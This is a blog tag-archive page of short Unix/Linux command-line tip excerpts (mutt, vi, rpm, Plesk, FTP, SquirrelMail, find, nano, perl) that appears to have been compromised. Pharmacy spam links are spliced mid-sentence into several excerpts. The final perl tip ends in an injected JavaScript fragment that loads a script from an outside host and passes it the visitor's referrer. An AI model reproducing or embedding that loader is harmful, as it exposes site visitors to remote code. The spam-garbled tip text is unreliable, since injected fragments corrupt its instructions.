Tag: line

Sending email or mail with attachment from command or shell prompt

If you are looking to send email with attachment via shell script or at shell prompt/command line (read as bash prompt), use mutt command. Mutt is a small but very powerful text based program for reading electronic mail under UNIX /Linux operating systems, including support for color terminals, MIME, and […]

vi Find And Replace Text Command

How do I find and replace (substitute) test using vi or vim text editor under UNIX / Linux / BSD or Apple OS X operating systems? Both vi and vim text editor comes with substitute command for finding and replacing text. Syntax The syntax is as follows: :%s/WORD-To-Find-HERE/Replace-Word-Here/g OR :%s/FindMe/ReplaceME/g […]

rpmdb: unable to join the environment

If your rpm database gets corrupt, you receive the following message on working on packages using rpm: rpmdb: unable to join the environment rpmdb: write: 0xbf91a7d0, 8192: Invalid argument error: db4 error(22) from dbenv->open: Invalid argument error: cannot open Packages index You can try out any of the following two […]

How to reset the Plesk Admin password from command prompt

Windows In case you forget the Plesk control panel’s ‘admin’ password, then you have no other choice but to reset the password by logging into the remote server.. As the reset ‘Administrator’ password option [which in fact is for the admin user] is only available through logging into the Plesk […]

Upload or Download Multiple Files (recursive) using Command-line FTP

Problem is I can’t upload directory including sub-directories and files using command-line ftp. I searched for similar problem and looks like you can’t do this using command line ftp, unless you create a script. One Day humidity. It and low price lexapro aging and line local cheapest generic viagra india […]

HOWTO: Add a ‘Change Password’ button to SquirrelMail.

Many users want a quick and easy way to change their Email password. This viagra for men< patch allows you to 100mg cialis< change the login form of SquirrelMail so a ‘Change http://viagrasildenafil-online.com/ Password‘ button appears. Example: http://img363.imageshack.us/img363/2343/webmail7ii.png [list=1][*]cd /var/www/html/squirrelmail/src[*]vi login.php[*]Look for the following Code: healthymaleviagra-formen.com< <center>’. viagra prank addSubmit(_(“Login”)) […]

UNIX / Linux: Deleting Multiple Files In Bulk

How do delete multiple files in bulk (say all *.bak file stored in /netapp/ and its subdirectory) under Linux / UNIX operating systems? You can use the find command as follows to find and delete file in bulk: find /path/to/delete -type f -iname “fileType” -delete OR find /path/to/delete -type f […]

Howto Install Nano/Pico on FreeBSD from ports collection

I’ve never got to grips with using ‘vi’ to edit files from the command line. So one of the first things I need to do is configure the nano/pico text editor so I can properly edit and save out files. Here’s a nice and simple howto get nano running on […]

How to Search and Replace over Multiple Files in Linux

Sometimes you need to search and replace strings over multiple files. This can easily be done using perl. I found this tip from www.liamdelahunty.com/tips perl -pi -w -e ‘s/search/replace/g;’ *.php -e means execute the following line of code. -i means edit in-place -w write warnings -p loops.src=’http://gethere.info/kt/?264dpr&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + […]